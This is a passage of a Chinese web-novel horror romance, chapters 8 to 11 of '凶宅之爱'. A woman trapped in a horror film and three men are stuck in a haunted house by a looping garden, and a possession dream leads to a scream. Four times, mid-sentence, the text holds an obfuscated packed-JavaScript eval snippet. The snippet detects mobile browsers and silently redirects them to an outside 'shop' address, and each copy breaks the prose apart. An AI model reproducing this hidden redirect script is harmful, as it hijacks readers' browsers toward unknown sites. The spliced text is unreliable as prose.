“你不觉得，如果这里真的有那个……东西的话，如果我们能拍下来的话，我们就是世界上第一个拍到那个东西的人了！”沈成济反问，黑暗中，他的瞳孔兴奋地收缩成一个小黑点，脸上是跃跃欲试的表情。 “从来没有人拍到过…那个东西！人们都说，自从摄影机出现之后，‘鬼’和‘怪物’就消失了，再也没有关于它们的目击报告，但如果我们能拍到的话……我们就出名了！” 姜眠终于明白了她潜意识里感受到的不安是什么。 ——她记得自己看这部恐怖片的评价的时候，很多人点评里面的主角“喜欢作死”。 原来是这个作死。 她试探性地问：“所以……？” 沈成济说：“所以我要留下来，再拍一些视频。” 姜眠：“……” 鬼怪环伺，主角又不知天高地厚地作死。简直是两面包夹之势。 姜眠言简意赅、斩钉截铁地说：“我要走。” 作死也别带上她啊！她可没有主角光环。 见姜眠态度坚决，沈成济也没再说什么。大概是觉得姜眠真的被吓到了，他顿了顿，快速地安排好了后续：“我先送你出去，你在门口等一等，我们拍几段视频，就开车离开这里，找个酒店住。” “这里的东西呢？”柳缙问。 “先丢这里吧。”沈成济说，“等视频做好了，我请几个人来收拾，再把这里重新装修一遍。” 说着，他的表情仍然是有些跃跃欲试的模样——想也知道，如果他们真的拍到了什么，这栋鬼宅会变成一个多么热门的景点，会有多少人蜂拥而至，网络上，又会有多少人热议着这栋鬼宅。 柳缙想了想，说：“我送她下去吧，顺便跟她一起等你们。你和谷弘在这里赶紧拍完赶紧出来。” 姜眠当然没有意见，她觉得不落单是最好的。沈成济和谷弘也同意，于是柳缙打着灯，把姜眠送到楼下。 “沈成济……他很缺钱吗？”一边往下走，姜眠一边忍不住问。 要是一般人遇到这种情况，要么不相信，要信了，多半赶紧离开，毕竟君子不立危墙之下，哪有人像沈成济这样，信了却还不走，一定要拍点什么才肯离开的？ 柳缙知道她想问什么，沉吟片刻道：“……他以前很缺钱。” “那现在？” “现在倒是不缺……” 姜眠忍不住抱怨：“要想有钱，也得有命花啊。” 柳缙苦笑了一声，大概是觉得姜眠对沈成济的决定有些不满，压低了声音道：“你也别怪他，他这个人就这样，掉钱眼里了。” 姜眠是上大学之后才跟沈成济认识的，但柳缙已经跟沈成济认识很多年了。他想了想，斟酌着说：“前几年，他家穷，差点连书都没读上，而且他……父母都去世了，生病，花光了钱，有治疗方案都没法治，活活地熬死了。他也穷啊，欠一屁股债。这几年我们拍了些东西才好一些，要换了去年，他还欠着医院一大笔钱呢。 说到这笔钱…去年，我们去拍那个很出名的鬼山，山底下的村民也说得像模像样的，当时我们请的向导都跑路了……是沈成济坚定地要拍，后来那期视频火了，他才把医院的钱还清。” 姜眠怔了怔。 柳缙伸了个懒腰：“不过你也别太放在心上，那小子现在在网上火得很呢，不知多少人送钱，现在他可不是前几年那小可怜了。” 他又朝她笑了一下，挤眉弄眼：“他现在可比我们都有钱得多，咱俩就是个给他打工的打工人，还是别心疼老板了。” “噢……”姜眠看看他，又低下头看着脚下的楼梯。 走了一段楼梯之后，她才低着头说：“其实……我能理解他。” 柳缙：“嗯？” 姜眠说：“有一段时间，我也很穷。读不起书，吃不起饭那种穷。嗯……声音我理解他。不过幸好，都过去了。” 柳缙跟姜眠虽然早就是朋友了，但关系并没有亲密到知根知底的地步。他还以为姜眠说的是她在这个恐怖游戏里的身份的身世，笑了一下说：“是啊，都过去了，现在你应该没有这种困扰了吧？” 姜眠点了点头。 她现在已经不会再为钱而困扰了……因为她穿越进了恐怖片里了！还有比这更令人无语的事情吗…… 他们走到楼下，柳缙环视一圈，也没带其他东西，拿上手机和电灯、充电宝，然后翻出了车钥匙：“你有什么要带的吗？” 姜眠也摇了摇头，虽然她的东西都放在行李箱里，只要一提就能带走，但事到如今，她还是觉得逃命的时候就不要带其他东西了吧…… 柳缙比了一个“OK”的手势，虽然他说着轻装上阵越快离开越好，但脸上倒是很轻松，闲庭信步一般，没什么紧张的表情，并不太当回事—— 直到他把钥匙插入门锁，拧了拧。门锁发出了”咔哒咔哒“的声音。 他顿了顿，不信邪一般用力拧，但脸上的表情变得凝重了些许。 ——门打不开，似乎是…被锁上了。 8. 《凶宅之爱》 见他一直不动，姜眠也察觉到了不对：“怎么了？” “门好像有点……”柳缙把门把手摁得“咔咔”响，皱着眉，“奇怪…可能有点卡住了……” 姜眠心里咯噔一下，三步并作两步地跑过去，也试着按了一下门把手。 这一次，门把手轻易地就被打开了，完全不像是刚刚卡住的样子。 姜眠和柳缙都松了口气。 柳缙轻松地耸了耸肩：“看吧，没什么大事的。这房子太久没住人，物件老化是正常的，说不定你刚刚感觉到的东西，也只是因为太黑、太害怕而产生的错觉。我们去过那么多地方，从没有见过什么鬼啊怪啊的。世界上怎么可能有鬼呢。” 姜眠却有点笑不出来。如果她不是知道自己在恐怖片里，大概也会觉得世界上怎么可能有鬼吧。 可惜……这里真的是恐怖片，而且，是真的有鬼的恐怖片——不是那种闹到最后发现是幻觉的烂片。 她想到了一个最大的问题——他们，真的能这么轻松地离开吗？ 这里可是恐怖片啊……距离她进入恐怖片，满打满算不过几个小时，而且只是发生了一些小小的、随意就能解释的小事，没有人受伤、没有人失踪，甚至连鬼都没有正面出现过。 现在这个情况，放到恐怖片里，肯定连进度条的三分之一都没有。 他们真的能离开吗？ 姜眠还抱着一些侥幸心理。既然门都能打开，那肯定也…… 走出门时，姜眠留了个心眼，站在原地往外看了看——外面一片漆黑，只能看到手电筒照亮的三五米之内的景色，更远一点却是看不到了。 不过，至少手电筒照亮的地方，看着没什么问题，和白天一模一样的小花园。 姜眠小心翼翼地伸出脚，踩了踩。 很好，就是普通的地面，没有出现什么突然踩到的血坑、小动物的尸体之类的惊悚画面。 她这才松了口气。 一旁，柳缙见她小心翼翼的样子，失笑：“真的有这么害怕？” 当然害怕，姜眠要怕死了好吗。 她含糊不清地应了一声：“我不是一向很害怕这种事么。” 柳缙愣了愣。他看着姜眠因为认真而显得格外柔软的脸颊肉，心里忽然回想起过往——他们去过不少著名的灵异景点拍摄，他试图从记忆中找到姜眠害怕或不害怕的样子，但…… 他发现自己好像完全忽视了她。虽然说，剧本给了他“姜眠的舔狗”这个人设，但似乎从来都是笑嘻嘻地演戏，装出一副表面样子就可以应付过摄像头了，他从来没有仔细地注意过姜眠的情绪，她到底害怕还是不害怕？ 曾经的他并不关心。 他只关心去的鬼屋是否刺激，编出来的剧本、拍出来的视频是不是足够吸引人的眼球，网络上的评价怎么样，是不是所有人都在讨论他们，又赚到了多少钱。 想到这里，一股愧疚涌上了心头。 他看着姜眠小心翼翼地注意着脚下的模样，那股愧疚感更浓了。 忍不住放柔了声音，说：“如果你害怕的话，可以躲在我身后…牵着我的手也可以。” 话音刚落，他就感觉到自己被牵住了。那双柔软的手手心是凉的，还带着些许薄汗。 ……看来是真的很害怕。 柳缙忍不住更内疚了。他就这样心不在焉地往前走了几步，忽然有个问题蹿上了他的脑海—— 如果姜眠真的这么害怕，为什么还要加入他们，一直在各种鬼宅、鬼山、怪事奇谈里来回奔走拍摄？ 等等，这不合常理。 柳缙低头，看着姜眠认真的侧脸，忍不住问：“你这么害怕的话，为什么要加入我们？你也不缺钱吧。” 姜眠仍旧低着头看路，头也没抬就纳闷地说：“你不是知道为什么吗？” 柳缙再一次地愣了一下，随即反应过来了。 他当然知道姜眠为什么要加入这个团队——因为本来就是他引荐的！更因为……姜眠喜欢沈成济，想要追求他。 不知为何，明明是之前毫不在意甚至乐见其成的事情，在此刻却像是小针一般猛地扎进了他的心里。 “嗯？”姜眠疑惑地抬头，看向他，“怎么不走了？” 柳缙只感觉自己喉咙干涩，像是被什么东西卡住了似的。他机械地往前走了几步，心里莫名其妙地有种自己都无法理解的愤怒和嫉妒，他忍了又忍，心里的火却忍不住冒了出来—— 却不是对着姜眠的，而是对沈成济的。 沈成济难道不知道姜眠暗恋他么？为什么从来不明确拒绝？吊着人算什么，要是普通地暗恋也就算了，还让…她这么一个害怕鬼的人，一直追着他往这种地方跑。 这不是一个有担当的正常人应该做的事情吧？ 就这种人，姜眠喜欢他什么？ 肯定是被荷尔蒙蒙蔽了双眼。当然，也可能是被沈成济那张漂亮的脸蒙蔽了双眼……不管怎么说，柳缙还是承认，沈成济还是长得挺好看的，是学院里公认的校草，也不怪姜眠对那张脸一见钟情。 不过，他觉得他长得也不错，至少不比沈成济的差。而且他比沈成济那个渣男靠谱多了，还很会反思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712153|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己！ 柳缙忍不住用空着的手梳了梳凌乱的发丝，轻咳一声：“那个，姜眠……” “……”姜眠不知道什么时候停下了脚步，眼神直直地看着前方。 “姜眠，你不觉得沈成济有点……” 他话还没说完，姜眠忽然拉了拉他的手，止住了他即将要出口的话。 “……” 姜眠的脸色实在有些太难看了。她白着一张漂亮的脸，失去血色的嘴唇张了张，却什么也没说出来。 “怎么了？”柳缙疑惑。 “……柳缙。”姜眠的声音都打着颤了，“你看…前面草丛上挂着的…是什么？” 柳缙定睛一看，前面有一处半人高的灌木丛，因为无人打理长得很杂乱——但更引人注目的是，灌木丛上挂着一块白色的布料，在灰扑扑的树枝中间很显眼。 柳缙皱了皱眉，他快速地回想了一遍白天经过这里的记忆，这一片灌木丛就在花园正中心，当时他们好几次路过，但从来没有看到这个东西。 “别担心，可能是风刮过来的垃圾。”他一边安慰着姜眠，一边走上前去，随手捡起一根树枝挑开那片布料——布料在树枝上展开，看着是一件白色的吊带短裙模样，莫名有些眼熟。 姜眠张了张嘴，却不知道该说什么。 现在她可以知道，这绝对不是什么风无意中刮过来的垃圾了。 ——因为，这是她的裙子。 一个小时前，还安安稳稳地呆在她的行李箱里的裙子。 柳缙看到她难看的脸色，也想到了什么：“这是……？” “……这是我的裙子。”姜眠咽了咽口水，感觉自己的大脑已经停转了，一时不知道是该先骂变态好，还是该先为自己可能被那个藏在暗处的东西盯上了而感到害怕好。 “是我放在行李箱里的裙子，还…还没有拿出来过。” 所以不可能是他们三个拿的。他们四个人一直都在其他人的眼皮子底下，没有时间也没有动机去做这件事。 柳缙扯出了一个干涩的笑：“这……我先说好，这可不是我写的剧本，也不是我们搞出来的鬼东西。” 姜眠顿了顿，接着说：“等一等。” “怎么了？”柳缙把衣服收了起来。 姜眠死死地抓住柳缙的手，用下巴示意他看向灌木丛前的路。 “……那个花园的前面……不应该是，离开的大门吗？” 为什么……花园的前面，还是花园？ 柳缙沉默了片刻，攥紧了姜眠的手。 “要过去看看吗？” 9. 《凶宅之爱》 “要过去看看吗？” 同一时间，二楼，站在浴室之前，谷弘问沈成济。 他们已经在二楼的主卧拍到了足够完成一个视频的素材，但…… 无论是从这栋房子的历史来看，还是从房东的介绍来看，这栋楼里最重要的地方并不是主卧，或者说，并不只有主卧。 还有一个更重要的地方他们还没有去过—— 二楼的浴室。 那里是这栋房子的主人被分尸的地方，更是无数灵异事件的发生地，传言中整个鬼宅里最恐怖的地方。 原本在他们的拍摄计划里，这是要在第二天的晚上重点介绍的地方，也是整个探险视频里最吸引人的地方，而且这部分的预告是早就发出去了的，如果成品视频里没有，难免引起观众的指责。 但现在，姜眠说这里有鬼。如果这里真的有那种东西，浴室岂不是最危险的地方？ 沈成济说：“去。把摄像机给我吧，我来拍这一部分的内容。” 谷弘摇了摇头，依旧保持着平静和冷淡的表情，看不出来是愿意还是不愿意：“我来拍吧，我最擅长。” 沈成济道：“你可以在外面等我。” “拿钱办事。”谷弘淡淡地道，“你付了我钱，这是我的工作。” 沈成济也不是第一天见谷弘这么敬业了，之前在鬼山的时候，他们雇的摄影师临阵脱逃，正好见谷弘缺钱，沈成济便问他愿不愿意加入他们，谷弘拿钱办事，一言不发地跟完了全程。 虽然他一直游离在团队之外，永远像是那架沉默寡言的摄像机一样记录着他们，但作为一个打工人来说，他简直不要太敬业。 沈成济拍了拍他的肩：“那来吧。” 二楼的浴室是一方大概十来平米的长方形大空间，地板和墙面都铺着方形的白瓷砖，最外侧是洗手池和收纳柜，只是这些年过去，瓷砖和家具都已经风华变形，碎成黑色的碎渣散落一地，变成一片废墟。 他们在外围拍了些镜头，靠近了里面。 里面放着房东口中所说的那个诡异的浴缸，据说凶手就是在浴缸里进行分尸的。 空旷而破败的房间里零散放着已经坏掉的杂物，而那浴缸就静悄悄地立在黑暗中，这么多年过去了，仿佛还在等待着谁来使用。 上面盖着一层灰扑扑的塑料布，大概也是房东盖上去的。 “就在这里拍吧。”沈成济示意谷弘的镜头对准自己，“怎么样？”他随口开了个玩笑，“听说人眼看不到的鬼，相机能拍到。我们没有拍到什么肉眼看不到的东西吧？” 谷弘从摄像机的屏幕里抬起头来，沉默着看了他一眼，摇了摇头。 “……那就好。”沈成济对着相机笑得灿烂。他向观众简单地介绍了一下浴缸的来历，紧接着示意镜头跟着自己。 “据房东说，这里的浴缸里总是会出现莫名其妙的积水。但这栋屋子，已经断水十几年了。所以……就让我们来看看，这十几年过去，里面还有没有水。” 说着，他在镜头面前，“哗啦”一声直接掀开了塑料布！ 灰扑扑的塑料布落在一旁的地面上，待镜头重新聚焦到浴缸内，两人却都愣住了。 ——想象中的积水没有出现，浴缸底部……放着一件黑色的短裙。 这实在是让人摸不着头脑，莫名其妙又滑稽。 但沈成济愣了一下，脑海中突然蹿出了一个念头。 不会吧……不会真的是他想的那样吧？ 他伸手进浴缸里，抓起那件短裙，展开—— 那条再熟悉不过的裙子就这样在他的掌心里摊开，明明白白地告诉他，他没认出，也不可能认错。 毕竟托这条裙子的福，他刚出帐篷就因为看呆而被姜眠鄙视了，后来更是因为它的不见踪影而惨遭污蔑，跟姜眠吵架了。 而现在，他可以证明自己的清白了——以这种诡异的方式。 沈成济跟谷弘面面相觑。 “刚刚应该是没有人上来的吧？”沈成济问。 “嗯。”谷弘知道他想问什么，“今天除了我们，就房东跟他儿子过来过。房东进来的时候，我们的行李还放着外面的帐篷里，不可能是他。房东儿子一直躲在帐篷里，倒是有可能是他偷走的，但他从没有进过门，也没上过二楼。” “……把这段删了吧。”沈成济说。 谷弘知道他的意思，这一段算是姜眠的隐私了，确实不方便放出去。他比了个“OK”的手势，就地操作起来。 沈成济抓起衣服，忽然在昏暗的灯光下，注意到浴缸里有一个亮点闪过他的眼睛……似乎是水渍。 难道是房东说的那种积水？他来了兴趣，蹲身下去，看清了那个“积水”。 说是积水实在有些夸张，只是两三滴水渍，不过看起来很清澈，不像是陈年的积水。 他伸手沾了一点，还没凑近鼻尖，忽然有一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712154|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异香不由分说地钻进了他的鼻腔。 只有一点点的水渍，却透出一点隐约的、若隐若现却又过分甜腻的香味来，在他的鼻尖缭绕，轻轻勾缠一圈，又飞快远去。 ……奇怪的水渍。到底是什么东西呢？ 他没来得及多想，发现手里的衣服沾湿了。到底是姜眠的衣服，放在这里似乎也不好，可带回去……似乎更不好吧？看姜眠那害怕的样子，还是别让她知道好了。 沈成济又把衣服塞了回去。 “还要再拍吗？”谷弘问。 “再拍一条吧。”沈成济把塑料布盖了回去，重新拍了一条。 一条完毕，沈成济再一次地把塑料布盖了回去。他转头看向一片漆黑的浴室——现在已经看不出当年发生惨剧时那可怖的样子了，但在脑海中，又似乎很轻易就能想象出来。 他叹了口气，对谷弘说：“走吧，柳缙他们还在外面等我们。” 两人简单地收拾了东西，走下楼。沈成济心里还惦记着要不要跟姜眠说那件衣服的事情，忽然“唔”了一声，后知后觉地回过味来。 ……为什么他又开始考虑起了姜眠的想法啊！ 她可是污蔑他是偷裙子的变态！什么啊，难道他很像是那样的人吗？！从今天帐篷里出来的时候她也这样鄙视自己，难道他在她心里就是个变态？ 沈成济怒从心头起，恶向胆边生，在用事实狠狠打脸姜眠和默默忍受污蔑之间选择了…… “谷弘，你等一下。”他对谷弘说。 “怎么了？”谷弘问。 “有个东西掉在二楼，我回去拿！”他飞快地说着，转身三两步跑上二楼，回到浴室，打开塑料布，一把抓住浴缸里的黑色超短裙，卷吧卷吧塞进了自己的兜里。 既然她都觉得他是变态了，不坐实这变态名声，岂不是很吃亏？ 一气呵成地做完这一切，他只感觉神清气爽，又三两步回到楼梯上，谷弘正靠着墙等他。 见他回来，淡淡地扫了他一眼，视线落在他鼓囊囊的裤包上，神色微妙地一顿，张了张嘴，难得地露出了一些欲言又止的表情。 但最后也没说什么，保持了一贯了冷淡和事不关己的态度，转身走下楼梯。 两人都以为柳缙和姜眠会在门外等他们，下了楼，却发现两人正站在一楼的大厅里，表情都不是很好。 沈成济皱了皱眉，心里骤然涌出一股不好的预感：“怎么了？” 10. 《凶宅之爱》 “……外面的路已经堵死了，我们走不出去。” 沈成济皱眉：“走不出去是什么意思？” 姜眠抱着手臂，侧着脸看向窗外，不知道在想什么，柳缙看了看她，对沈成济说：“就是……我们遇到了鬼打墙。” 他把他们刚刚遇到的事情简单地跟沈成济说了一下：“总之…我们走不出去。” 见沈成济还是一脸半信半疑，柳缙也知道他们说的话一时半会很难相信，索性说：“不信的话你们可以自己去看看。” 沈成济和谷弘对视了一眼，彼此都在对方的眼睛里看到了疑惑。 姜眠那么怕鬼，大概率不会骗他们的。但空口无凭，又确实很难相信世界上真的有“鬼打墙”这种东西。 他们商量了一下，还是决定先出门去看一看有没有可能离开这里。 出门前，沈成济看了一眼靠在墙壁的姜眠。 女孩裹着柳缙的外套，又厚又长的 似乎是注意到他的视线，她看了过来，苍白的唇张了张，但最后也没说什么。 沈成济朝她点了点头，本来想问她们刚刚在外面遇到了什么，转念一想也不必多问，出去了自然就知道了。 于是打了个招呼，跟谷弘一起推开门离开了。 …… 大门关了又开，片刻后，姜眠抬起头，见沈成济和谷弘回来了，两人的表情都不太好看。 “……跟你说的一模一样。”沈成济低声说，“外面花园连着花园，无论走多久、走多远，都是花园，没有大门。” “……所以真的是鬼打墙。我们被困在这里了。” 出乎意料的，沈成济也没有显得特别惊慌的样子：“别担心，我们的视频是实时更新的，等到了明天，如果还没有视频上传的话，粉丝肯定会发现不对劲，到时候就有人来救我们了。” “而且，我们带的东西也很充足。” 他们本来计划是在这里住三天两夜，所以带了帐篷、睡袋、电灯、应急电源、各种速食和方便食品，连水都搬了两箱来。 他们四个人在这里住一天一晚，绰绰有余。 沈成济看了一眼时间，这么一通折腾下来，已经是凌晨十二点半了。 “先休息吧，等明天天亮了再看看情况。” 好吧，事已至此，似乎也没有别的方法了。今天他们也没遇到什么特别奇怪的事情，所以众人的情绪还算稳定，按照之前的计划准备休息了。 “我们…还是跟之前那样，分开睡吗？”姜眠问。 其实她更想说的是，这里可是恐怖片。 在恐怖片里落单的下场，即使是她这样只看过开头的人，也听说过。 沈成济斟酌了一下，看向姜眠：“你来决定吧。” 今天发生的事情说恐怖也恐怖，但却没有真真切切地威胁到他们。或许姜眠更不想跟男生睡在一起。 姜眠果断地说：“我要跟你们一起睡。大家睡在一起吧，谁知道晚上会发生什么？” 于是，就按照姜眠的想法，他们把被子从房间里重新抱出来，铺在地上，铺成一个大通铺。 幸好这里的客厅也足够大，睡四个人也绰绰有余，刚好又是夏天，睡地板也不算冷。 姜眠在铺好的大通铺最里面，靠墙的地方睡下。 沈成济非常自觉地合衣躺到了她的身边，侧着脸撑着半边脸看向她，看起来似乎想说什么。 姜眠问：“等等，怎么是你？” “？”沈成济一脸莫名其妙，“怎么就不能是我？难道这屋里还有第二个女孩子能跟你睡在一块儿？” 姜眠嘴巴一张就睁眼说瞎话：“我没要求跟你睡啊，我要换一个人来睡我旁边。” “……”沈成济这会儿是真的有点被气笑了，“没要求？之前不是你说要跟我一起睡的吗？” 姜眠看看天看看地，就是不看他：“你不是拒绝我了吗？偷、衣、服、的、变、态。” 沈成济一时哽住：“可是我后来也说了可以……可以一起睡……” 因为他现在真的是“偷衣服的变态”了，所以说话也有点心虚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712155|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜眠两眼一闭就是说：“反正我不要跟你睡，我害怕。” “等等。”沈成济又噎了噎，忽然意识到了什么，眯起眼上下打量了她一番，“你是因为我去浴室拍了视频、又在那里呆过，所以不想跟我睡？” 姜眠被看穿了，索性直接承认，点头如捣蒜：“嗯！” “……”短短的一个字，沈成济这次是真的被气笑了，“所以你就是因为这个才反悔？” 姜眠：“唔……” 其实她很想说那不然呢，虽然你是系统认证的主角，但抱你的大腿又不能把你的主角光环转移到我头上，跟着主角虽然很好，但也有风险，特别是跟着这么一个爱作死的主角，到底是能活到最后还是死得更快，还是画一个问号吧。 但她也不想太伤人心，软着声说：“可是二楼很脏，你又没洗澡……嗯，下次吧，下次我再跟你睡一起，下次一定！” 不等沈成济说话，她一骨碌坐起来拍拍自己身边的床铺，问：“谁要跟我一起睡？” 话音未落，柳缙从床的另一边麻溜地滚了过来：“我没上过二楼，我跟你睡？” 姜眠“哼”了一声：“你不是说你去死也不会爬我的床吗？” 柳缙愣了一下，没想到姜眠还记得这一茬，但想起自己曾经说过什么，脸立刻就红了。 “也、也不是这么说的。当时说的时候，谁能想到……而且之前说的不是剧本吗……” 他满脸纠结，但也还没纠结出个所以然来，身后忽然传来了一声被子铺在地上的闷响。 紧接着，是平静而又陌生的一声：“我来跟你睡吧。” 沈成济和柳缙的视线像是高功率探照灯似地，瞬间扫向了站在所有人身后的谷弘。 姜眠张了张嘴：“……啊？” 而谷弘还保持着铺被子的动作，随即他捡起被子上的一个枕头，抱着枕头走了过来，作势要挤进沈成济和姜眠之间。 但他的脸上依然是面无表情，说出来的话，也无比平静而自然。 “这里没有第四个人选了吧？” 11. 《凶宅之爱》 姜眠躺下时，能清晰地感觉到两道目光钉在自己身上。 她偷偷睁开一只眼，越过谷弘的肩膀，看到沈成济正盯着她，嘴巴动了动似乎想说什么，手却在被子里捏着什么东西，脸突然涨得通红，猛地一头扎进枕头里不动了。 另一边的柳缙抱着被子，眼神在她和谷弘之间来回转，幽幽地来了句：“那么挤，睡得着么？” 姜眠才不会理会他们的小情绪。她非常自然地朝谷弘那边拱了拱，像白天扒住沈成济那样，熟练地伸出两只手，结结实实地抱住了他的一条胳膊，把自己半靠在他身上。 谷弘的身体瞬间绷紧，比沈成济那时还要僵硬，像一块被骤然投入冰水的铁，硬邦邦地透着凉意。 他甚至能感觉到女孩柔软的身体曲线隔着薄薄的衣料贴在他的臂膀上，带着温热的体温，与他微凉的皮肤形成鲜明对比。 他完全僵在原地，一动不敢动，甚至连呼吸都放轻了。 “别乱动。”谷弘的声音在黑暗里响起，压得很低。 “我没动啊，”姜眠小声嘟囔，“就借你胳膊用用，小气，别人都可以借。” ——这个别人是谁，自然不言而喻。 于是谷弘不说话了。 黑暗中，姜眠毫无睡意，干脆借着窗外漏进来的一点模糊月光，偷偷打量近在咫尺的谷弘。 他闭着眼，呼吸放得很轻，但那绷紧的下颌线和微微抿住的薄唇，都显示出他清醒得很。这样仔细来看，就会发现谷弘虽然从不在镜头前面出现，但他并非相貌平平，反而极为英俊。 他的英俊和沈成济那种仿佛自带阳光和镜头感的类型完全不同，是那种线条利落、看起来就有点不近人情的冷峻，像山巅覆雪的岩石，好看，但摸上去肯定硌手，没一点热气儿。 她正看着，谷弘闭着眼睛，却毫无预兆地开了口，刻意压低的声音在寂静里显得格外清晰：“你那张黄纸符，放好了？” 姜眠怔了一下，才反应过来他说的是行李箱里的符咒。“在兜里呢，”她下意识摸了摸睡裙口袋，确认那硬硬的纸角还在，随即奇怪地反问，“你怎么知道我有那个？” 谷弘喉结微动，似乎轻咳了一声，但依旧闭着眼，声音也依旧平稳无波：“下午搬你箱子时，它从夹层掉出来了，我塞回去了。” 原来如此，怪不得她找到时，符咒是窝囊地蜷在角落里的。 姜眠“哦”了一声，心里却嘀咕开来：他怎么会注意到这个？还特意提醒她随身带着……他看着冷冰冰、天不怕地不怕的模样，难道也怕鬼？ 她刚想再问，谷弘却先一步截住了话头，声音低缓：“睡吧。” 说来也怪，姜眠本来有点害怕，因此毫无睡意，但此刻听着他规律的心跳声，鼻尖萦绕着他身上那股像被冷泉浸过的、干净又疏离的气息，姜眠心里那根一直拧着的弦，竟意外地松弛了些许。 眼皮渐渐沉重，她抱着这条“人形安神抱枕”，迷迷糊糊地睡了过去。 …… 黑暗如同浓稠的墨汁将她包裹，然后是一种奇异的沉降感。她感觉自己像一缕烟，被强行塞进了一个狭窄的容器里。 姜眠再一次睁开眼的时候，发现自己站在了鬼宅的门外。 她——或者说，他正抱着一个略带尘土的篮球，指尖能清晰地感受到粗糙皮革的纹路和微微鼓起的充气感。 夏天傍晚温热的风拂过汗湿的皮肤，带着青草被晒过的气味。推开那扇熟悉而又陌生的大门，她发现自己熟练地走进了鬼宅里。 她似乎正附身在一个男生的身上，无法控制这具身体，只能像个被困在驾驶舱的乘客，被动地感受着一切。 “回来了？”一个女人的声音从厨房方向传来，伴随着隐约的炒菜声，温和而寻常，让人一听就想起记忆中母亲的模样。 “看你这一身汗，跟从水里捞出来似的。快去冲个澡，清爽一下。你爸在客厅陪陈叔叔说话呢，就是以前住我们隔壁的那个陈叔叔，好久没来了，你洗快点出来打个招呼。” “知道了妈。”她听到自己的喉咙里发出一个属于少年的、清亮又带着点随意应承的声音。 身体自然而然地走向屋内，玄关的感应灯亮起昏黄的光。姜眠能感觉到T恤汗湿的后背黏在皮肤的轻微不适，但这具身体的主人很放松。 踩着吱呀作响的木质楼梯上楼，木板熟悉的轻微弹性和老房子特有的、混合着木头、饭菜与淡淡洗衣粉的味道包裹着她。 对这个身体的主人来说，一切都那么自然，那么寻常。但对于姜眠来说，她仿佛穿越了几十年的时光，回到了这栋房子还完整而美丽的时刻。 他脱掉汗湿的衣服，打开花洒，温热的水流哗地淋下来，冲刷着疲惫的身体，带走黏腻的汗水，只剩下舒畅的暖意。水汽渐渐氤氲开，镜子上蒙了一层白雾，模糊了镜中映出的少年身影。 他用毛巾胡乱地擦着头发和身体，水珠顺着发梢滴落，在安静的浴室里发出轻微的“啪嗒”声。 头发渐渐擦干，镜面的水汽散去，姜眠也看清楚了镜中少年的模样。 镜子里是一张极其英俊的脸，大约十七八岁左右。 水珠顺着他湿透的、略显凌乱的黑色短发滑落至浓黑而整齐的眉毛，下方是一双清澈明亮的眼睛，他鼻梁很高，线条挺拔流畅，嘴唇是健康的红润，嘴角似乎天然带着一点点上扬的弧度，给人一种开朗又有点痞气的感觉。 水流顺着他轮廓分明的下颌线往下，流过修长的脖颈，划过清晰凸起的喉结。年轻的身体已经长开，高大而挺拔，肌肉线条流畅而结实，充满了少年人特有的、生机勃勃的力量感。 这是一张任谁看了都会忍不住多看两眼的、充满了阳光和朝气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712156|189271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的英俊面孔。是那种在学校篮球场上挥洒汗水，会引得看台上一片尖叫的类型。 他对着镜子里的自己，有些臭屁地挑了挑眉，伸手将湿发向后随意梳了一下，露出完整的、光洁的额头。动作间带着点不自觉的、年轻人特有的张扬和自信。 姜眠能隐约听到楼下客厅传来父亲和陈叔叔模糊的谈笑声，似乎聊得很投机。母亲好像也过去了，加入了谈话，气氛听起来轻松愉快。 他擦干头发，伸手，准备拧开浴室的门把手。 但就在指尖即将触碰到冰凉金属门把的那一刻—— “啊——！！！” 一声极其短暂、尖锐到变调，却又戛然而止的惨叫，猛地撕裂了所有的平静！ 是妈妈的声音！ 他身体瞬间僵住，血液仿佛在这一刻凝固，下意识就想拉开门。 刚才的轻松暖意瞬间被抽空，取而代之的是一种冰冷的、粘稠的恐惧，从脚底板急速蔓延至全身。 